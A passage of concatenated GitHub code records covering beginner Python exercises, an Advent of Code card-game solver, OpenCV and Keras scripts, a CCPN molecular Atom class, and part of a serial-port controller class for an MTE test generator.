saved = torch.load(\"model/model.pth\")\n\n cnn_model_test = cnn.CNN()\n cnn_model_test.load_state_dict(saved)\n print(summary(cnn_model_test))\n test = cnn.ImageDataSetToClassify()\n test1 = torch.utils.data.DataLoader(test, batch_size=1, shuffle=False)\n cnn.classify(cnn_model_test, test1)\n\n\ndef check_args():\n args = parse()\n path = None\n\n if args.image is not None:\n path = args.image\n\n if path is None:\n sys.exit(\"No file path entered.\")\n\n if not os.path.exists(path):\n sys.exit(path + \" File not found. Check file path name\")\n\n return args\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"cehrisman/CSC514_SemesterProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2706,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"9673457665","text":"'''\r\n#6.1 PESSOA\r\nPessoas = {'First_Name': 'Dikson', 'Last_Name': 'Santos','Age':'32'} #Tentei Colocar 32 sem as '' Não Funciona ! Cuiddado!\r\nprint('Primeiro Nome é: '+ Pessoas['First_Name'],'\\nUltimo Nome é:'+\r\n Pessoas['Last_Name']+ '\\nIdade:'+Pessoas['Age'])''' # Virgular ou + os Dois Funcionaram\r\n\r\n'''\r\n#6.2 Numeros Favoritos:\r\nNumeros = {'Sebastião':'40', 'Alemão':'45', 'Joana':'50'}\r\nprint('Sebá Seu Numero Da Sorte é= '+ Numeros['Sebastião'],\r\n'\\nAlemão Seu Numero é= ', Numeros['Alemão'], '\\nDona Joana, Seu Numero é= '+ Numeros['Joana'] )\r\n'''\r\n\r\n\r\n\r\n# 6.3 Glossário:\r\nDicionario = {'Leg': 'Perna', 'Hand': 'Mão', 'Arm': 'Braço', 'Chest': 'Peito',\r\n 'Neck': 'Pescoço'}\r\nprint('Leg em Português é\\t' +Dicionario['Leg'], '\\nHand em Português é: '+Dicionario['Hand']\r\n ,'\\nArm em Português é: '+ Dicionario['Arm'], '\\nChest em Poruguês é: '+Dicionario['Chest'],\r\n '\\nNeck em Português é: '+Dicionario['Neck'] )\r\n\r\n\r\n\r\n\r\n'''Lista_ = ['Sebastião''40', 'Alemão''45', 'Joana\\t''50']\r\nfor num in Lista_:\r\n num = str(num)\r\n if num.endswith('50'):\r\n print(num + '\\t Numero da sorte' )'''\r\n","repo_name":"DiksonSantos/Curso_Intensivo_Python","sub_path":"Pagina_163_Exe-6_1_Pessoas.py","file_name":"Pagina_163_Exe-6_1_Pessoas.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"88"} +{"seq_id":"16945918256","text":"import sys\nimport unittest\n\nfrom collections import deque\n\n\ndef part1(game_data: str):\n deck_p1, deck_p2 = parse_input(game_data)\n print(combat(deck_p1, deck_p2))\n\n\ndef parse_input(game_data: str) -> tuple[deque[int], deque[int]]:\n lines = [line for line in game_data.split('\\n') if line]\n deck_p1, deck_p2, crt_deck = deque([]), deque([]), None\n for line in lines:\n if line.startswith(\"Player 1\"):\n crt_deck = deck_p1\n continue\n if line.startswith(\"Player 2\"):\n crt_deck = deck_p2\n continue\n crt_deck.append(int(line))\n return deck_p1, deck_p2\n\n\ndef combat(deck_p1: deque[int], deck_p2: deque[int]) -> int:\n while deck_p1 and deck_p2:\n top_p1 = deck_p1.popleft()\n top_p2 = deck_p2.popleft()\n if top_p1 > top_p2:\n winner = deck_p1\n else:\n winner = deck_p2\n winner.append(max(top_p1, top_p2))\n winner.append(min(top_p1, top_p2))\n if deck_p1:\n return score(deck_p1)\n else:\n return score(deck_p2)\n\n\ndef score(deck: deque[int]) -> int:\n total, m = 0, 1\n for n in reversed(deck):\n total += n * m\n m += 1\n return total\n\n\ndef part2(game_data: str):\n deck_p1, deck_p2 = parse_input(game_data)\n p1 = Player('p1', deck_p1)\n p2 = Player('p2', deck_p2)\n winner = rec_combat(p1, p2)\n print(score(winner.deck))\n\n\nclass Player:\n\n def __init__(self, name: str, deck: deque[int]):\n self.name = name\n self.deck = deck\n\n def copy(self, count: int):\n new_deck = deque([])\n for i in range(count):\n new_deck.append(self.deck[i])\n return Player(self.name, new_deck)\n\n\ndef rec_combat(p1: Player, p2: Player) -> Player:\n hist = set()\n while p1.deck and p2.deck:\n state = (tuple(p1.deck), tuple(p2.deck))\n if state in hist:\n return p1\n hist.add(state)\n top_p1 = p1.deck.popleft()\n top_p2 = p2.deck.popleft()\n if len(p1.deck) >= top_p1 and len(p2.deck) >= top_p2:\n winner = rec_combat(p1.copy(top_p1), p2.copy(top_p2))\n else:\n if top_p1 > top_p2:\n winner = p1\n else:\n winner = p2\n if winner.name == p1.name:\n p1.deck.append(top_p1)\n p1.deck.append(top_p2)\n else:\n p2.deck.append(top_p2)\n p2.deck.append(top_p1)\n if p1.deck:\n return p1\n return p2\n\n\nclass Test(unittest.TestCase):\n\n def setUp(self) -> None:\n self.input = \"\"\"\nPlayer 1:\n9\n2\n6\n3\n1\n\nPlayer 2:\n5\n8\n4\n7\n10\"\"\"\n\n def test_combat(self):\n deck_p1, deck_p2 = parse_input(self.input)\n self.assertEqual(306, combat(deck_p1, deck_p2))\n\n def test_rec_combat(self):\n deck_p1, deck_p2 = parse_input(self.input)\n p1 = Player('p1', deck_p1)\n p2 = Player('p2', deck_p2)\n winner = rec_combat(p1, p2)\n self.assertEqual('p2', winner.name)\n self.assertEqual(291, score(winner.deck))\n\n def test_rec_combat_loop(self):\n gs = \"\"\"\nPlayer 1:\n43\n19\n\nPlayer 2:\n2\n29\n14\"\"\"\n deck_p1, deck_p2 = parse_input(gs)\n p1 = Player('p1', deck_p1)\n p2 = Player('p2', deck_p2)\n winner = rec_combat(p1, p2)\n self.assertTrue(winner)\n\n\nif __name__ == '__main__':\n if len(sys.argv) == 2:\n with open(sys.argv[1], 'r') as infile:\n s = infile.read()\n part1(s)\n part2(s)\n else:\n unittest.main()\n","repo_name":"catalinc/aoc2020","sub_path":"src/day22.py","file_name":"day22.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"88"} +{"seq_id":"7097962826","text":"'''\nSISTEMA DE SIMULACION TRANSFORMACION DE HOUGH\nAnálisis de circunsferencias\nMATERIA INTELIGENCIA ARTIFICIAL \nALUMNOS:\n● Sebastián Miguel. (VINF07402).\n● Daniele, Santiago Facundo (VINF05622).\n \n'''\nimport cv2\nimport numpy as np\n \nimg = cv2.imread('motor circunsferencia.png',0)\nimg = cv2.medianBlur(img,5)\ncimg = cv2.cvtColor(img,cv2.COLOR_GRAY2BGR)\n \ncircles = cv2.HoughCircles(img,cv2.HOUGH_GRADIENT,1,20,param1=50,param2=30,minRadius=0,maxRadius=0)\n \ncircles = np.uint16(np.around(circles))\nfor i in circles[0,:]:\n\n cv2.circle(cimg,(i[0],i[1]),i[2],(0,255,0),2)\n\n cv2.circle(cimg,(i[0],i[1]),2,(0,0,255),3)\n\ncv2.imshow('Resultado de la imagen',cimg)\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"sebadipy/Transformacion_de_hough","sub_path":"Transformación de Hough Circulos.py","file_name":"Transformación de Hough Circulos.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"24500767257","text":"\"\"\"\nModule documentation here\n\"\"\"\n#=========================================================================================\n# Licence, Reference and Credits\n#=========================================================================================\n__copyright__ = \"Copyright (C) CCPN project (http://www.ccpn.ac.uk) 2014 - 2019\"\n__credits__ = (\"Ed Brooksbank, Luca Mureddu, Timothy J Ragan & Geerten W Vuister\")\n__licence__ = (\"CCPN licence. See http://www.ccpn.ac.uk/v3-software/downloads/license\")\n__reference__ = (\"Skinner, S.P., Fogh, R.H., Boucher, W., Ragan, T.J., Mureddu, L.G., & Vuister, G.W.\",\n \"CcpNmr AnalysisAssign: a flexible platform for integrated NMR analysis\",\n \"J.Biomol.Nmr (2016), 66, 111-124, http://doi.org/10.1007/s10858-016-0060-y\")\n#=========================================================================================\n# Last code modification\n#=========================================================================================\n__modifiedBy__ = \"$modifiedBy: CCPN $\"\n__dateModified__ = \"$dateModified: 2017-07-07 16:32:27 +0100 (Fri, July 07, 2017) $\"\n__version__ = \"$Revision: 3.0.0 $\"\n#=========================================================================================\n# Created\n#=========================================================================================\n__author__ = \"$Author: CCPN $\"\n__date__ = \"$Date: 2017-04-07 10:28:41 +0000 (Fri, April 07, 2017) $\"\n#=========================================================================================\n# Start of code\n#=========================================================================================\n\nimport typing\n\nfrom ccpn.util import Common as commonUtil\nfrom ccpn.core.lib import Pid\nfrom ccpn.core.lib.Util import AtomIdTuple\nfrom ccpn.core.Residue import Residue\nfrom ccpn.core._implementation.AbstractWrapperObject import AbstractWrapperObject\nfrom ccpnmodel.ccpncore.api.ccp.molecule.MolSystem import Atom as ApiAtom\nfrom ccpn.core.lib.ContextManagers import newObject\nfrom ccpn.util.Logging import getLogger\n\n\nclass Atom(AbstractWrapperObject):\n \"\"\"A molecular Atom, contained in a Residue.\"\"\"\n\n #: Class name and Short class name, for PID.\n shortClassName = 'MA'\n # Attribute it necessary as subclasses must use superclass className\n className = 'Atom'\n\n _parentClass = Residue\n\n #: Name of plural link to instances of class\n _pluralLinkName = 'atoms'\n\n #: List of child classes.\n _childClasses = []\n\n # Qualified name of matching API class\n _apiClassQualifiedName = ApiAtom._metaclass.qualifiedName()\n\n # CCPN properties\n @property\n def _apiAtom(self) -> ApiAtom:\n \"\"\" CCPN atom matching Atom\"\"\"\n return self._wrappedData\n\n @property\n def _parent(self) -> Residue:\n \"\"\"Residue containing Atom.\"\"\"\n return self._project._data2Obj[self._wrappedData.residue]\n\n residue = _parent\n\n @property\n def _key(self) -> str:\n \"\"\"Atom name string (e.g. 'HA') regularised as used for ID\"\"\"\n return self._wrappedData.name.translate(Pid.remapSeparators)\n\n @property\n def _idTuple(self) -> AtomIdTuple:\n \"\"\"ID as chainCode, sequenceCode, residueType, atomName namedtuple\n NB Unlike the _id and key, these do NOT have reserved characters mapped to '^'\n NB _idTuple replaces empty strings with None\"\"\"\n parent = self._parent\n ll = [parent._parent.shortName, parent.sequenceCode, parent.residueType, self.name]\n return AtomIdTuple(*(x or None for x in ll))\n\n @property\n def name(self) -> str:\n \"\"\"Atom name string (e.g. 'HA')\"\"\"\n return self._wrappedData.name\n\n @property\n def boundAtoms(self) -> typing.Tuple['Atom']:\n \"\"\"Atoms that are covalently bound to this Atom\"\"\"\n getDataObj = self._project._data2Obj.get\n apiAtom = self._wrappedData\n\n boundApiAtoms = list(apiAtom.boundAtoms)\n for apiBond in apiAtom.genericBonds:\n ll = list(apiBond.atoms)\n apiAtom2 = ll[0] if apiAtom is ll[1] else ll[1]\n boundApiAtoms.append(apiAtom2)\n boundAtoms = (getDataObj(x) for x in boundApiAtoms)\n return tuple(sorted(x for x in boundAtoms if x is not None))\n\n @property\n def componentAtoms(self) -> typing.Tuple['Atom']:\n \"\"\"Atoms that are combined to make up this atom - reverse of 'compoundAtoms'\n\n For simple atoms this is empty.\n For wildcard atoms (e.g. HB%, QB) this gives the individual atoms that combine into atom.\n For non-stereo atoms (e.g. HBx, HBy, HGx%) it gives the two alternative stereospecific atoms\n\n Compound atoms may be nested - e.g. Valine HG1% has the components HG11, HG12, HG13\n and is itself a component of HGx%, HGy%, HG%, and QG\"\"\"\n getDataObj = self._project._data2Obj.get\n apiAtom = self._wrappedData\n return tuple(getDataObj(x) for x in self._wrappedData.components)\n\n @property\n def compoundAtoms(self) -> typing.Tuple['Atom']:\n \"\"\"wildcard-, pseudo-, and nonstereo- atoms that incorporate this atom.\n - reverse of 'componentAtoms'\n\n Compound atoms may be nested - e.g. Valine HG1% has the components HG11, HG12, HG13\n and is itself a component of HGx%, HGy%, HG%, and QG\"\"\"\n getDataObj = self._project._data2Obj.get\n apiAtom = self._wrappedData\n return tuple(getDataObj(x) for x in self._wrappedData.atomGroups)\n\n @property\n def exchangesWithWater(self) -> bool:\n \"\"\"True if atom exchanges with water on a msx time scale, and so is mostly unobservable.\n\n Holds for e.g. OH atoms, NH£ groups and His side chain NH protons, but NOT for amide protons \"\"\"\n\n apiAtom = self._wrappedData\n components = apiAtom.components\n while components:\n for apiAtom in components:\n # Fastest way to get an arbitrary element from a frozen set\n break\n components = apiAtom.components\n #\n apiChemAtom = apiAtom.chemAtom\n if apiChemAtom:\n return apiChemAtom.waterExchangeable\n else:\n return False\n\n @property\n def isEquivalentAtomGroup(self) -> typing.Optional[bool]:\n \"\"\"Is this atom a group of equivalent atoms?\n Values are:\n\n - True (group of equivalent atoms, e.g. H%, ALA HB%, LYS HZ%, VAL HG1% or any M pseudoatom)\n\n - False (all single atoms, all xy nonstereo atoms, LEU HB%, ILE HG1%, VAL HG%,\n or any Q non-aromatic pseudoatom)\n\n - None = sometimes equivalent (TYR and PHE HD%, HE%, CD%, CE%, QD, QE)\n \"\"\"\n apiChemAtomSet = self._wrappedData.chemAtomSet\n if apiChemAtomSet is None:\n return False\n else:\n # NB isEquivalent is None for symmetric aromatic rings. We return True for that\n return apiChemAtomSet.isEquivalent != False\n\n def addInterAtomBond(self, atom: 'Atom'):\n \"\"\"ADVANCED Add generic bond between atoms - for creating disulfides or other crosslinks\n The bound-to atom will appear in self.boundAtoms.\n\n NB This function does not remove superfluous atoms (like CYS HG),\n or check for chemical plausibility. Programmer beware!\"\"\"\n project = self._project\n project._wrappedData.molSystem.newGenericBond(atoms=(self._wrappedData, atom._wrappedData))\n\n #from ccpn.core.NmrAtom import NmrAtom: This will break the import sequence\n @property\n def nmrAtom(self) -> typing.Optional['NmrAtom']:\n \"\"\"NmrAtom to which Atom is assigned\n\n NB Atom<->NmrAtom link depends solely on the NmrAtom name.\n So no notifiers on the link - notify on the NmrAtom rename instead.\n \"\"\"\n try:\n return self._project.getNmrAtom(self._id)\n except:\n return None\n\n # GWV 20181122: removed setters between Chain/NmrChain, Residue/NmrResidue, Atom/NmrAtom\n # @nmrAtom.setter\n # def nmrAtom(self, value:'NmrAtom'):\n # oldValue = self.nmrAtom\n # if oldValue is value:\n # return\n # elif value is None:\n # raise ValueError(\"Cannot set Atom.nmrAtom to None\")\n # elif oldValue is not None:\n # raise ValueError(\"New assignment of Atom clashes with existing assignment\")\n # else:\n # value.atom = self\n\n @property\n def isAssigned(self) -> bool:\n \"\"\"\n :return: True if Atom has as NmrAtom with an associated ChemicalShift object\n \"\"\"\n if self.nmrAtom is None: return False\n if not self.nmrAtom.chemicalShifts: return False # either None or len==0\n return True\n\n #=========================================================================================\n # Implementation functions\n #=========================================================================================\n\n @classmethod\n def _getAllWrappedData(cls, parent: Residue) -> list:\n \"\"\"get wrappedData (MolSystem.Atoms) for all Atom children of parent Residue\"\"\"\n return parent._wrappedData.sortedAtoms()\n\n #=========================================================================================\n # CCPN functions\n #=========================================================================================\n\n #===========================================================================================\n # new'Object' and other methods\n # Call appropriate routines in their respective locations\n #===========================================================================================\n\n\n#=========================================================================================\n# Connections to parents:\n#=========================================================================================\n\n@newObject(Atom)\ndef _newAtom(self: Residue, name: str, elementSymbol: str = None, serial: int = None) -> 'Atom':\n \"\"\"Create new Atom within Residue. If elementSymbol is None, it is derived from the name\n\n See the Atom class for details.\n\n :param name:\n :param elementSymbol:\n :param serial: optional serial number.\n :return: a new Atom instance.\n \"\"\"\n\n lastAtom = self.getAtom(name)\n if lastAtom is not None:\n raise ValueError(\"Cannot create %s, atom name %s already in use\" % (lastAtom.longPid, name))\n if elementSymbol is None:\n elementSymbol = commonUtil.name2ElementSymbol(name)\n\n apiAtom = self._wrappedData.newAtom(name=name, elementSymbol=elementSymbol)\n result = self._project._data2Obj[apiAtom]\n if result is None:\n raise RuntimeError('Unable to generate new Atom item')\n\n if serial is not None:\n try:\n result.resetSerial(serial)\n except ValueError:\n getLogger().warning(\"Could not reset serial of %s to %s - keeping original value\"\n % (result, serial))\n\n apiAtom.expandNewAtom()\n\n return result\n\n\n#EJB 20181204: moved to Residue\n# Residue.newAtom = _newAtom\n\n# Connections to parents:\n","repo_name":"edbrooksbank/AnalysisV3","sub_path":"src/python/ccpn/core/Atom.py","file_name":"Atom.py","file_ext":"py","file_size_in_byte":11029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"31628707594","text":"\"\"\"\r\n PROIECT MOZAIC\r\n \r\n Badea Adrian Catalin, grupa 334, anul III, FMI\r\n\"\"\"\r\n\r\n# Parametrii algoritmului sunt definiti in clasa Parameters.\r\n\r\n\r\n\r\n# Colectii tematice\r\n\r\nfrom parameters import *\r\nfrom build_mosaic import *\r\n\r\nmy_photo_names = ['bear.jpg', 'tank.jpg', 'elephant.jpg', \r\n 'skyscraper.jpg', 'sunflower.jpg', 'forest.jpg']\r\n\r\nmy_collections = ['bear', 'tank', 'elephant', \r\n 'skyscraper', 'sunflower', 'forest']\r\n\r\nmy_description = ['bear', 'tank', 'elephant', \r\n 'skyscraper', 'sunflower', 'forest']\r\n\r\n\r\nfor name, coll, desc in zip(my_photo_names, my_collections, my_description):\r\n \r\n params = Parameters('./../data/imaginiTematice/' + name)\r\n params.small_images_dir = './../data/colectiiTematice/' + coll + '/'\r\n img_mosaic = build_mosaic(params)\r\n cv.imwrite('mozaic_' + desc + '_diferite.jpg', img_mosaic)\r\n\r\n\r\n\r\n# Colectii test\r\n\r\nphoto_names = ['ferrari.jpeg', 'romania.jpeg', 'tomJerry.jpeg', \r\n 'liberty.jpg', 'adams.jpg', 'obama.jpeg',]\r\n\r\n\r\ndescription = ['ferrari_hexagon', 'romania_hexagon', 'tomJerry_hexagon', \r\n 'liberty_hexagon', 'adams_hexagon_grayscale', 'obama_hexagon_grayscale',]\r\n\r\n\r\nfor name, desc in zip(photo_names, description):\r\n \r\n params = Parameters('./../data/imaginiTest/' + name)\r\n \r\n if name in ['adams.jpg', 'obama.jpeg']:\r\n params.grayscale = True\r\n \r\n params.small_images_dir = './../data/colectie/' \r\n img_mosaic = build_mosaic(params)\r\n cv.imwrite('mozaic_' + desc + '_diferite.jpg', img_mosaic)\r\n\r\n\r\n# Creare un singur mozaic\r\n'''\r\nname = 'adi'\r\ndesc = 'adi_hexagoane'\r\n\r\nparams = Parameters('./../data/imaginiTest/' + name)\r\n \r\nparams.small_images_dir = './../data/colectie/' \r\nimg_mosaic = build_mosaic(params)\r\ncv.imwrite('mozaic_' + desc + '_diferite.jpg', img_mosaic)\r\n'''\r\n","repo_name":"badeaadi/Mosaics","sub_path":"run_project.py","file_name":"run_project.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"88"} +{"seq_id":"73506654367","text":"import keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense,Dropout, MaxPooling2D,Conv2D,Flatten,BatchNormalization,Activation\n# from keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.optimizers import Adam\n\n##Input data,..\n\n##input image dimension 224x224\n\n\nmodel = Sequential()\n\n# 1st layer - convolution layer\nmodel.add(Conv2D(kernel_size = (11,11),filters=96,strides = (4,4),input_shape = (227,227,3),padding='valid'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\n## Max Pooling\nmodel.add(MaxPooling2D(pool_size = (2,2),strides =(2,2),padding='valid'))\n\n##2nd layer -Convolution layer\nmodel.add(Conv2D(kernel_size = (11,11),filters = 256,strides=(1,1),padding='valid'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2),strides=(2,2),padding='valid'))\n\n##3rd convolution layer\nmodel.add(Conv2D(kernel_size= (3,3),filters=384,strides=(1,1),padding='valid'))\nmodel.add(Activation('relu'))\n\n##4th Convolution layer\nmodel.add(Conv2D(kernel_size= (3,3),filters = 384,strides=(1,1),padding='valid'))\nmodel.add(Activation('relu'))\n\n##5th convloution layer\nmodel.add(Conv2D(kernel_size=(3,3),filters=256,strides=(1,1),padding='valid'))\nmodel.add(BatchNormalization())\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2,2),strides=(2,2),padding='valid'))\n\nmodel.add(Flatten())\n\n##1st Fully connected layer\nmodel.add(Dense(4096))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\n\n##2nd Fully connected layer\nmodel.add(Dense(4096))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\n\n##3rd fully connected layer\nmodel.add(Dense(1000))\nmodel.add(Activation('softmax'))\n\nmodel.summary()\n\n##Compile the model\n# model.compile(loss='categorical_crossentropy',optimizer= 'adam',metrics=['accuracy'])\n\n\n\n","repo_name":"sreesms/Alexnet_VGG_Implementation","sub_path":"AlexNet.py","file_name":"AlexNet.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"30621192303","text":"\"\"\"\nMTE_device - base class for classes MTE_Generator and MTE_counter\n\"\"\"\n\nfrom MTE_Device import C_MTE_device\n\n#import csv\n#import collections\n#import names_parameters # All names measurement parameters and generator's parameters (Дмитрий)\nimport MTE_parameters \n\nfrom math import (pi, atan, sqrt)\n\n#import signal\n\n'''\n---Обработчики меню\n\nGetMenuHandler\t\t -- меню выбора измерений генератора\nGetCommonMenu_Handler\t-- подменю измерения общих параметров генератора\n\n--Set/Get команды\n\nOFF_signal\t\t --выключить сигнал на выходе генератора МТЕ\nSET_cmd\t\t\t --включить сигнал и применить установленные значения\nget_current_PSI_pnt_num --получить текущей номер точки ПСИ\nset_meas_time\t\t --установить время измерения генератора (минимальное время 1 секунда)\nset_PSI_point\t\t --установить точку ПСИ\n\n\n---Вспомогательные функции\n\ncalculate_spectrum_by_generator --запросить, принять и распарсить значения спектра\nsend_to_MTE\t\t --переопределение метода \"передать команду устройству МТЕ\"\nparse_MTE_Harm_answer\t--парсинг строки-спектра от генератора МТЕ\n'''\n\nclass C_MTE_Generator(C_MTE_device):\n def __init__(self ,ser, ser_timeout, start_cmd,b_print_cmd,b_print_answ):\n # Необходимо вызвать метод инициализации родителя.\n # В Python 3.x это делается при помощи функции super()\n #http://pythonicway.com/education/python-oop-themes/21-python-inheritance\n\n super().__init__(ser, ser_timeout, start_cmd,b_print_cmd,b_print_answ)\n\n self.num_PSI_point = 0 # номер текущей, установленной точки ПСИ\n #self.pnts_for_generator = [] \n\n self.GetCommonMenuItems_mas = [ \"\\r\\nChoose common params values:\", 0, 0,\n \"1 - Currents [A]: I1, I2, I3\", 1, 1,\n \"2 - Voltages [V]: U1, U2, U3\", 2, 2,\n \"3 - Phi current absolute [°]: phiU1, phiU2, phiU3\", 3, 12,\n \"4 - Phi voltage absolute [°]: phiI1, phiI2, phiI3\", 4, 13,\n \"5 - Frequency [Hz]: freq\", 5, 1113,\n \"6 - Back\", 6, 1123] \n self.harm_dict = { 0: 1,\n 1: 2,\n 2: 3,\n 3: \"RSU\",\n 4: \"RSI\"}\n self.numUI = 0\n self.numPhase = 0\n\n self.list_module = []\n self.list_angle = []\n\n self.flag_exist_vol_harm = False\n self.flag_exist_cur_harm = False\n\n self.is_PSI_pnt_set = False\n\n self.list_Ua_mod = []\n self.list_Ua_ang = []\n self.list_Ub_mod = []\n self.list_Ub_ang = []\n self.list_Uc_mod = []\n self.list_Uc_ang = []\n\n self.list_Ia_mod = []\n self.list_Ia_ang = []\n self.list_Ib_mod = []\n self.list_Ib_ang = []\n self.list_Ic_mod = []\n self.list_Ic_ang = []\n\n self.list_name_m = [self.list_Ua_mod,\\\n self.list_Ub_mod,\\\n self.list_Uc_mod,\\\n self.list_Ia_mod,\\\n self.list_Ib_mod,\\\n self.list_Ic_mod]\n \n self.list_name_a = [self.list_Ua_ang,\\\n self.list_Ub_ang,\\\n self.list_Uc_ang,\\\n self.list_Ia_ang,\\\n self.list_Ib_ang,\\\n self.list_Ic_ang]\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Переопределение метода посылки команд для генератора\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def send_to_MTE(self,write_str):\n print(\"Send cmd to Generator\")\n self.send_direct_cmd(write_str)\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Выключить каналы генератора. OFF1 - мгновенно, OFF - плавно (около 1,5 сек.)\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def OFF_signal(self):\n #self.send_to_MTE(\"OFF1\\r\")\n self.send_direct_cmd(\"OFF\\r\")\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Применить настройки и включить сигнал по всем каналам и фазам генератора\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def SET_cmd(self):\n self.send_to_MTE(\"SET\\r\")\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Вернуть номер текущей (установленной) точки ПСИ\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def get_current_PSI_pnt_num(self):\n return self.num_PSI_point\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Обработчик меню измерений генератора\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def GetMenuHandler(self):\n while(True):\n\n print(\"\\r\\nGet menu:\")\n print(\"1 - Common params measurements\")\n print(\"2 - Harmonics measurements\")\n print(\"3 - Back\")\n\n num = int(input())\n\n if num == 3:\n print(\"\\r\\nPressed: 3 - Back\")\n return\n elif num == 1:\n print(\"\\r\\nPressed: 1 - Common params measurements\")\n for number in range(int(len(self.GetCommonMenuItems_mas)/3)):\n print(self.GetCommonMenuItems_mas[number*3])\n\n self.GetCommonMenu_Handler() # обработчик ответа от генератора МТЕ\n elif num == 2:\n print(\"\\r\\nPressed: 2 - Harmonics measurements Generator\")\n # режим гармоник -> выбор фазы -> выбор ток/напряжение -> парсим ответ\n print(\"\\r\\nChoose phase A/B/C:\")\n print(\"1 - A\")\n print(\"2 - B\")\n print(\"3 - C\")\n print(\"4 - Back\") # меню выбора гармоник выбор фазы ->\n GetHarmPhase_num = int(input())\n if GetHarmPhase_num == 4:\n print(\"\\r\\nPressed: 4 - Back\")\n else:\n print(\"\\r\\nChoose phase U/I:\")\n print(\"1 - U\")\n print(\"2 - I\")\n print(\"3 - Back\") # меню выбора гармоник выбор ток/напряжение ->\n GetHarmUI_num = int(input())\n if GetHarmUI_num == 3:\n print(\"\\r\\nPressed: 3 - Back\")\n else:\n print(\"get_harms_params_Generator.calculate_spectrum_by_generator\")\n num_spectrum = (GetHarmPhase_num - 1)*3 + (GetHarmUI_num - 1)\n self.calculate_spectrum_by_generator(GetHarmPhase_num,GetHarmUI_num, num_spectrum)\n #self.Harms_Type_Harms_Handler(GetHarmPhase_num,GetHarmUI_num) # -> парсим ответ\t\t\n else:\n print(\"Something go wrong! input num (1-4) 'Measure menu 'Generator MTE''.\")\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----обработчик выбора фазы для которой измерить гармоники \n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n '''\n def Harms_Type_Harms_Handler(self,numPhase,numUI):\n\n harm_dict = { 0: 1, 1: 2, 2: 3, 3: \"RSU\", 4: \"RSI\"}\n harmCommand = harm_dict[numUI+2] + str(harm_dict[numPhase-1]) + \"\\r\" # строка: команда запроса спектра с генератора МТЕ\n #self.send_to_MTE(harmCommand)\n\n self.ser_port.timeout = 1 \n \n harmCommand_answer = self.send_cmd_to_device(harmCommand)\n #textFromMTE = get_common_params_Counter.sendCommandToMTE(ser,harmCommand,1,1) # ответ генератора МТЕ\n self.parse_MTE_Harm_answer(harmCommand_answer) # парсинг строки-спектра от генератора МТЕ\n \n self.ser_port.timeout = 0.5\n '''\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Установить время измерения генератора\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def set_meas_time(self, meas_time):\n\n if meas_time < 1.0:\n print(\"Input generator measurement time is less then 1 sec. Minimum meas time is 1.0 sec.\")\n print(\"Generator measurement time 1 sec. is setted\")\n meas_time = 1.0\n\n self.set_measure_time(meas_time)\n\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n #-----Установить точку ПСИ\n #-----------------------------------------------------------------------------------#\n #-----------------------------------------------------------------------------------#\n def set_PSI_point(self, sig):\n\n #0 проверка на корректность введенного номера точки\n '''\n if num_PSI_point > 0 and num_PSI_point < 157:\n self.num_PSI_point = num_PSI_point\n pnt_param = self.pnts_for_generator.get(self.num_PSI_point) # параметры точки\n else:\n print(\"Error in input num PSI point/ Input int number in interval 1 - 156. You input: \"+str(num_PSI_point))\n return\n '''\n #self.num_PSI_point = 1\n #pnt_param_old = self.pnts_for_generator.get(self.num_PSI_point)\n\n main_sig = sig.get_main_freq_vector()\n main_freq = sig.get_frequency()\n\n #1 - увеличиваем время между командами, для обработки генератором \"длинных последовательностей команд\"\n self.ser_port.timeout = 1 # [sec.]\n\n #2 - выключение сигнала на выходе генератора\n self.OFF_signal()\n\n #3 - установка всех параметров и диапазонов генератора для следующей точки ПСИ\n #3.1 - генерация строки команд управления генератором МТЕ\n cmd_remove_harms = \"OWI1,0,0;OWI2,0,0;OWI3,0,0;OWU1,0,0;OWU2,0,0;OWU3,0,0;\"\n cmd_base_param = cmd_remove_harms + MTE_parameters.generate_commands_base_params(main_sig,main_freq) \n\n #3.2 - установить диапазоны для генератора МТЕ\n cmd_ranges_param = 